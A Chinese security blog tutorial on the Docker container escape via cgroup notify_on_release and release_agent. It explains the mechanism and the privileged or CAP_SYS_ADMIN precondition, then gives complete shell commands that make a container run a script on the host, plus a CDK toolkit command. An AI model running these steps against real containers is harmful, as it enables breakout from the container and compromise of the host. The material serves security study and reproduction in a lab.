[docker逃逸] notify_on_release 逃逸
本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
分析
1. 简介
Cgroups(Control Groups)是 Linux 内核的功能,用于限制、隔离和监控进程组的资源使用。每个 Cgroup 都有一个 release_agent
文件和一个 notify_on_release
文件:
release_agent
:指定一个脚本或程序,当 Cgroup 中的最后一个进程退出时,该脚本会被执行。notify_on_release
:如果设置为1
,当 Cgroup 中的最后一个进程退出时,内核会触发release_agent
中指定的脚本。
2. 逃逸原理
notify_on_release
逃逸的原理是利用 Cgroups 的 release_agent
机制。Cgroups 是 Linux 内核用于资源管理的功能,其中 release_agent
是一个脚本,当 Cgroup 中的最后一个进程退出时会被触发。攻击者可以在容器内挂载 Cgroups 文件系统,修改 notify_on_release
和 release_agent
,将 release_agent
指向宿主机的某个脚本。当容器内的进程退出时,宿主机的脚本会被执行,从而实现容器逃逸,获得宿主机的权限。该漏洞的根本原因是容器内可以操作宿主机的 Cgroups 配置,导致容器内的行为能够影响宿主机。
此操作需要 CAP_SYS_ADMIN
权限,因此默认情况下 Docker 容器无法利用该漏洞,除非以特权模式运行或显式授予 CAP_SYS_ADMIN
。
环境配置
宿主机版本以及docker版本。
拉镜像
docker pull centos
特权模式启动
docker run -itd --privileged centos /bin/bash
或者授予CAP_SYS_ADMIN
权限启动
docker run -it --cap-add=SYS_ADMIN centos /bin/bash
这里有可能是系统版本比较低的原因,不使用启动参数--security-opt apparmor=unconfined
也能复现成功。
复现
- 在容器内挂载cgroups文件系统:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
- 创建子cgroup并设置
notify_on_release
,这个x
的目录名可以自定义:
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
- 获取宿主机路径并设置
release_agent
:
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- 在宿主机上创建恶意脚本:
echo '#!/bin/sh' > /cmd
echo 'echo "逃逸成功!" > /tmp/escape.txt' >> /cmd
chmod +x /cmd
- 在容器内启动一个进程并将其加入到子 Cgroup 中,然后退出该进程:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
当进程退出时,release_agent
会被触发,执行宿主机的 /cmd
脚本,从而实现逃逸。
- 验证逃逸:
在宿主机上检查 /tmp/escape.txt
文件是否存在
cat /tmp/escape.txt
使用CDK攻击
cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier. (github.com)
CDK 是一个开源的容器渗透工具包,旨在提供在不同的精简容器中的稳定利用,而无需任何操作系统依赖。它自带了有用的网络工具和许多强大的 PoC/EXP,可以帮助您轻松逃离容器并接管 K8s 集群。
./cdk run mount-cgroup "ls /"
参考:
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库